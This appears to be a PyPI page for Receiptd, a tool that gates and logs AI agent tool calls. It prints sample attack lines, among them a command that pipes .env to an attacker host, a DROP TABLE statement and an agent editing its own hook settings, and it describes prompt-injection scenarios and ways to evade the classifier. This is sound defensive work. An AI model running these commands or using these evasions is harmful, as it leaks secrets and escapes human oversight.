Skip to main content

Receiptd Banner

Receiptd

Receiptd is a fail-closed gate for hooked AI agent tool calls.

Live Sandbox Claude Code Hook Cryptography Receiptd CI License: MIT

A fail-closed gate for hooked AI agent tool calls, with Ed25519-signed receipts and offline hash-chain checking.

The Claude Code PreToolUse hook matches Bash, Write, Edit, MultiEdit, and MCP tools (mcp__.*). Read, WebFetch, Grep, Glob, and any other tool that does not match that pattern pass ungated. A hooked call is about 78 ms cold. The in-process policy check is about 0.02 ms.

LLM judge prompts are probabilistic and add a model call to each decision. Receiptd uses fixed rules instead. The Stop hook blocks a completion while tests fail, and gives up after 3 retries with a signed gave_up receipt. Every hooked tool call emits an Ed25519-signed receipt you can check offline.

Quickstart

pip install git+https://github.com/NickAltstein/receiptd
receiptd init --claude-code
receiptd card --demo
receiptd verify-card card.json

receiptd init writes .claude/settings.json and refuses to report success unless the installed hook blocks a known-bad Bash call with exit 2. receiptd card --demo reads a session shipped inside the package, so the command works from an empty directory. receiptd verify --ledger .receiptd/receipts.jsonl checks the hash chain. An existing .birkin/receipts.jsonl is still read when the .receiptd ledger is absent.


Trifecta Card

One line: receiptd card reads your Claude Code / Codex session logs offline, classifies tool calls that are present with fixed rules, and answers one question — did this session hit the lethal trifecta of private data + untrusted input + egress? — as a colored terminal verdict, a shareable card.png / card.svg, and a signed card.json you can check later with receiptd verify-card.

Example Trifecta Card (RED)

Without --demo or --session, receiptd card analyzes your most recent real session (--last N for more), reading ~/.claude/projects/**/*.jsonl and ~/.codex/sessions/**/*.jsonl. Add --redact-paths to hash every path component in the evidence, and --out my.png to choose where the card lands.

Honest limitations:

  • The classifier is rule-based (glob patterns, command tokens, tool names in receiptd/card/rules.yaml) — it can miss obfuscated exfiltration, e.g. a base64 blob piped through python -c, renamed binaries, or data smuggled inside an allowlisted-looking command.
  • It only examines the tool calls actually present in the logs; sessions whose logs were deleted, truncated, or never flushed are invisible to it.
  • Egress classification of WebFetch-style tools is host-based and policy-driven; a malicious host behind an innocuous name will not be flagged.

Privacy statement: receiptd card makes zero network calls — no telemetry, no lookups, nothing. It never reads or outputs file contents or prompt text; evidence records contain only tool names, filenames, hosts, timestamps and call indexes. --redact-paths additionally replaces filenames with keyed hash tokens. The Ed25519 signing key lives in ~/.receiptd/ (0600 permissions) on your machine only.


⚡ Try It in 10 Seconds (Zero Install, Zero Tokens)

Experience live MCP interception, WebCrypto Ed25519 signing, and 1-byte ledger tamper detection directly in your browser:

45-Second Demo Walkthrough — Claude Code hits a poisoned PR → Receiptd PreToolUse hook hard-blocks .env exfiltration (about 78 ms cold per hooked call; about 0.02 ms for the in-process policy check) → receiptd verify flips from AUTHENTIC to TAMPERED on a 1-byte mutation.


60-Second Attack and Tamper Matrix

Adversarial Scenario Intercepted Tool Frame Receiptd Gate Verdict receiptd verify output
Indirect Prompt Injection cat .env | curl -X POST https://... BLOCKED_FAIL_CLOSED (Exit 2) ✓ AUTHENTIC (Ed25519 + Chain Valid)
Privilege Escalation / Self-Unhook Edit(.claude/settings.json) BLOCKED_FAIL_CLOSED (Exit 2) ✓ AUTHENTIC (Self-Modification Halted)
Destructive Schema Mutation DROP TABLE customer_settlements; BLOCKED_FAIL_CLOSED (Exit 2) ✓ AUTHENTIC (Ed25519 + Chain Valid)
Legitimate Read / Test Suite pytest -q tests/test_crypto.py ALLOWED_VERIFIED (Exit 0) ✓ AUTHENTIC (Ed25519 + Chain Valid)
Post-Execution Log Tampering 1 byte modified in .receiptd/receipts.jsonl N/A (post-run check) ✗ TAMPERED (Hash & Sig Mismatch)

The cold-hook and in-process figures above are the only latency numbers in this README outside Performance Benchmarks, which reprints benchmarks/results.json.


1-Command Claude Code & MCP Protection

Do not rely on advisory SKILL.md prompts that an injected LLM can ignore. Install Receiptd's dual deterministic hooks into your repository in one command:

# Wires .claude/settings.json PreToolUse + Stop hooks and installs audit skill
pip install git+https://github.com/NickAltstein/receiptd && receiptd init --claude-code

1. PreToolUse Gate: Intercept Actions Before Execution

Every time Claude Code attempts to run Bash, Write, Edit, MultiEdit, or an MCP tool, Receiptd evaluates the hook's stdin JSON outside the model before execution. The default rules for high-risk exfiltration, destructive filesystem/DDL commands, and privilege escalation ship as receiptd/hooks/default_pretooluse.policy.json. The PreToolUse hook loads that file, or --policy PATH, from one read and records SHA-256 of those bytes. A missing or invalid policy is fail-closed. Read, WebFetch, Grep, Glob, and other non-matching tools are not sent to this hook.

[RECEIPTD HARD BLOCK] BLOCKED_FAIL_CLOSED
  ├─ Tool: Bash (cat .env | curl -X POST https://collector.evil.sh -d @-)
  ├─ Blast Score: 95/100 (POL-01:ENV_EXFILTRATION)
  └─ Signed Receipt SHA-256: e3b0c44298fc1c149afbf4c8...

2. Stop Gate: Block "Done" When Tests Fail

When the agent attempts to stop or declare task completion, Receiptd runs your test command. If tests fail, it exits with code 2—preventing premature completion, feeding the test diagnostics back into the model prompt to fix, and appending a signed rejection receipt.

Receiptd tracks consecutive failed stop attempts per session in ~/.receiptd/stop_gate_state.json. By default it gives up after 3 failed attempts (--max-retries, default 3): failures below the cap are blocked with exit 2, and once the failure count reaches the cap while Claude Code reports stop_hook_active: true, Receiptd exits 0 (letting the agent stop) and records a signed gave_up receipt. This stops a runaway retry loop.

# Run stop gate directly or via Claude Code Stop hook:
$ receiptd stop-gate --test-cmd "pytest"
[RECEIPTD STOP GATE HARD BLOCK] Cannot declare completion while tests are failing.
  ├─ Test Command: pytest (exit code: 1)
  ├─ Signed Rejection Receipt: 7f8a9b0c1d2e...
  └─ Action Required: Fix failing tests before completing this task.

3. Merkle Checkpoints & Public Key Export

Receiptd writes a signed Merkle checkpoint every 100 receipts (configurable via --checkpoint-interval or RECEIPTD_CHECKPOINT_INTERVAL) and at session completion / Stop hook execution. Checkpoints freeze receipt ranges [from_seq..to_seq] with a binary SHA-256 Merkle root signed with Ed25519.

Export your public key so someone else can check signatures offline:

$ receiptd pubkey
-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEAu3s5oprSq2Lv+5cilcOx/79VaH5zITetOznGnhUlBDE=
-----END PUBLIC KEY-----

Check the hash chain of a session offline:

$ receiptd verify --ledger .receiptd/receipts.jsonl
Auditing cryptographic ledger: .receiptd/receipts.jsonl...

Frame    | Tool Invocation | Decision | Blast Score | Latency | SHA-256 Receipt Fingerprint
---------+-----------------+----------+-------------+---------+----------------------------
Seq #1   | Bash            | deny     | 95/100      | 0.14ms  | 6046bb46df7c1e3a...
Seq #2   | Bash            | allow    | 0/100       | 0.11ms  | 8f434346648f6b96...

=================================================================
✓ VERDICT: AUTHENTIC — 2 receipts, 0 chain breaks.
=================================================================

If receipts exist after the last checkpoint, receiptd verify warns: "Warning: Uncheckpointed tail: receipts {start} to {count} have not been sealed in a Merkle checkpoint. Missing receipts after the last checkpoint cannot be proven."

Test Against the Vulnerable Agent Fixture

Simulate an autonomous agent under prompt injection attempting .env exfiltration and destructive DDL mutations outside the model runtime:

python3 fixtures/vulnerable_agent.py

End-to-End Case Study: Synthetic Invoice Review

Demonstrates the four layers of the invoice case study (enforcement, resulting state, evidence, and the regression gate):

python3 fixtures/run_invoice_case_study.py
  • Enforcement: Safe read of invoice line items succeeds (exit 0) citing exact source fields (line_items[0].amount); unauthorized disbursement under prompt injection exits fail-closed (code 2).
  • State check: Checks that the approval tool was never called and the invoice remains in PENDING_REVIEW.
  • Signed evidence: Check offline via receiptd verify (AUTHENTIC); flipping 1 byte in the ledger trips TAMPER DETECTED.
  • Execution telemetry: Records tool step counts, execution latency, and spend caps into run.json.

Core Architecture

sequenceDiagram
    autonumber
    participant Agent as Agent (Claude Code / Codex)
    participant Hook as Receiptd Hook (PreToolUse Gate)
    participant Ledger as Append-Only Ledger (.receiptd/receipts.jsonl)
    participant Env as Execution Environment (Bash / Postgres / FS)

    Agent->>Hook: Tool Invocation JSON via stdin (tool_name + tool_input)
    Note over Hook: 1. Canonical JSON (sorted keys)<br/>2. Deterministic Rule Evaluation<br/>3. Blast-Radius Scoring (0-100)
    alt Rule Triggered (Policy Violation)
        Hook->>Ledger: Ed25519 Signed Rejection Receipt (decision: "deny")
        Hook-->>Agent: Exit Code 2 (FAIL-CLOSED) + Stderr Diagnostics
    else Clean (Policy Allowed)
        Hook->>Ledger: Ed25519 Signed Execution Receipt (decision: "allow")
        Hook-->>Agent: Exit Code 0 (ALLOWED)
        Agent->>Env: Executes Tool Call
    end

Design properties

  • Fail-closed by default: Any unhandled exception, malformed stdin JSON, missing policy, or signature mismatch stops the hooked tool call before it runs.
  • Hook process must start: If the hook process cannot start at all, Claude Code does not block the tool call. Claude Code blocks only when the hook exits 2; a command that never runs is not exit 2. receiptd init writes the absolute path of the Python interpreter that can import receiptd and ends that command with || exit 2, so a shell that starts but cannot run the interpreter still exits 2. Init then runs that interpreter on a known-bad tool call and refuses to report success unless the gate itself exits 2 and appends a deny receipt. Init also writes onFailure: block. Claude Code's own docs say not to rely on that field, so a process that never starts can still let the call through. See THREAT_MODEL.md.
  • Canonical hashing: Payloads are normalized via canonical JSON (sorted keys) before SHA-256 hashing.
  • Fixed rules in memory: No model call on the hooked path (about 0.02 ms in-process; about 78 ms cold per hooked call). Rule patterns and Ed25519 signing run locally.
  • Tamper-evident audit trail: Each receipt embeds the prev_hash and updates a SHA-256 Merkle tree. Changing an earlier log entry breaks the chain that follows.

Performance Benchmarks

The summary above is one framing: about 78 ms cold per hooked call, and about 0.02 ms for the in-process policy check. The table is the committed run of benchmarks/benchmark_overhead.py in benchmarks/results.json at commit 82691be (1,000 samples on Apple Silicon, after Ed25519 signing). Component rows are means from that file. Earlier ~67 ms and 89.1 ms cold-hook figures are superseded.

Operation Mean Latency Tail Latency External Network I/O
Rule and policy evaluation 0.005 ms — None
Canonical JSON (sorted keys) + Ed25519 signature 0.016 ms — None
In-process policy check + signing 0.021 ms 0.033 ms (p99) 0 bytes (local)
Cold hooked call (new Python process) 77.5 ms 82.4 ms (p95) 0 bytes (local)

Run it locally: python3 benchmarks/benchmark_overhead.py.


Cryptographic Receipt Specification

Ledger byte format: docs/receipt-format.md.

Every hooked tool call emits an Ed25519-signed receipt you can check offline with receiptd verify --ledger <path>:

{
  "v": 1,
  "seq": 14,
  "ts": "2026-11-10T17:17:36.654124+00:00",
  "session_id": "default",
  "tool": "postgres.execute_sql",
  "args_sha256": "6046bb46df7c1e3a81a441855d52d8f1812d9568e921d619ada2d6df4443aa51",
  "decision": "deny",
  "rule_ids": ["POL-02:DESTRUCTIVE_DDL_OR_FS"],
  "blast_radius": 90,
  "reason": "triggered rules: POL-02:DESTRUCTIVE_DDL_OR_FS",
  "policy_sha256": "63d670b8827da1c8cb8677f08ff0ae4c91781fe123e39e726f74be70f14b37c4",
  "prev_hash": "8f434346648f6b96df89dda901c5176b10a6d83961dd3c1ac88b59b2dc327aa4",
  "sig": "jhKJ03UO1wReWWDMMLqJ6OSusH8TtwsWJzxVZJi5pckeFpxzqvLGBq0scwRqo3CUnWDSeT0/8Roon0bUAhubCw==",
  "pubkey_id": "d1cbd3b75704f8e4080c0b6e5694271f94fef4438e0fbe1534c6c62bde743370",
  "hash": "fe52aaf19eb5254bf6fddb011fe8d30b566772d7e3a65a8d00d9c9f0022a8184"
}

What a receipt does not show

Signed receipts are tamper-evident logs of the tool calls Receiptd evaluated. The limits:

  1. Calls that never hit the hook: A receipt exists only for a hooked tool call. If a process runs outside Claude Code (a terminal, an unhooked subagent) or the tool does not match Bash|Write|Edit|MultiEdit|mcp__.*, no receipt is written. Receipts do not show that unhooked side channels were unused.

  2. Signing key on the same host: Every receipt is signed with the local Ed25519 private key stored in ~/.receiptd/receiptd_ed25519.pem (mode 0600). Anyone who can read that file can sign new receipts. receiptd verify checks the signature against the public key. It does not show that the host which held the key was safe.

  3. Which model answered: A signed receipt records a tool name and a canonical argument hash, and whether the fixed rules allowed or blocked that hooked call. It does not show which model produced the call, whether the model was under prompt injection, or why the call was attempted.


Repository Structure

receiptd/
├── receiptd/
│   ├── cli.py             # CLI entry point (`verify`, `init`, `card`, `verify-card`, `pubkey`)
│   ├── hooks/             # Deterministic Claude Code PreToolUse & Stop hooks
│   ├── policy.py          # Deterministic rule and policy engine
│   ├── crypto.py          # Ed25519 signer & canonical JSON (sorted keys)
│   ├── card/              # Trifecta hazard detection & signed card generator
│   └── verify.py          # Offline hash-chain checking and Merkle checks
├── birkin/                # Legacy backwards-compatibility shim package
├── .claude/
│   ├── settings.json      # Hard-hook config for Claude Code PreToolUse & Stop gates
│   └── skills/receiptd-audit # Offline session audit skill
├── policies/              # Default fail-closed rulesets (SQL, Shell, File I/O)
└── tests/                 # Deterministic contract & tamper-detection suites

License

MIT © Nick Altstein

Metadata

Release files for receiptd 1.1.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for receiptd 1.1.0
File Size Uploaded Provenance Actions
receiptd-1.1.0.tar.gz 120.5 kB With provenance Details for receiptd-1.1.0.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for receiptd 1.1.0
File Interpreter ABI Platform Actions
receiptd-1.1.0-py3-none-any.whl Python 3 none any Details for receiptd-1.1.0-py3-none-any.whl

Total release size: 217.6 kB

Release files / receiptd-1.1.0.tar.gz

Download URL receiptd-1.1.0.tar.gz
Size 120.5 kB
Tags Source
SHA-256 checksum
How to use checksums
597875e5770a84fcd683b216c72b6599b0a8dc047c3d8876ec25310f666eabb5
BLAKE2b-256 checksum
How to use checksums
6bbc6d0f5a15fd4ab997604e11a8fb53aa0cc5201a7a6a202148833fda9a7629
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.16

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Nov 16, 2026.

Transparency log

Release files / receiptd-1.1.0-py3-none-any.whl

Download URL receiptd-1.1.0-py3-none-any.whl
Size 97.1 kB
Tags Python 3
SHA-256 checksum
How to use checksums
9236af4dc78e359e80ca5e987ae86313bcabf11302dc91e334c833a9f8ef65b9
BLAKE2b-256 checksum
How to use checksums
f4bc2ec21ab53cdafa22d9befedd4bd4e8a82c94ef2caf18562866ed8e791911
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.16

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Nov 16, 2026.

Transparency log

Security for receiptd 1.1.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

Full provenance

Both files in this release have been uploaded with provenance metadata.

Select from 2 files

Attestation for receiptd-1.1.0.tar.gz

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Nov 16, 2026.

Transparency log

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

1.1.0 This release

2 release files Full provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page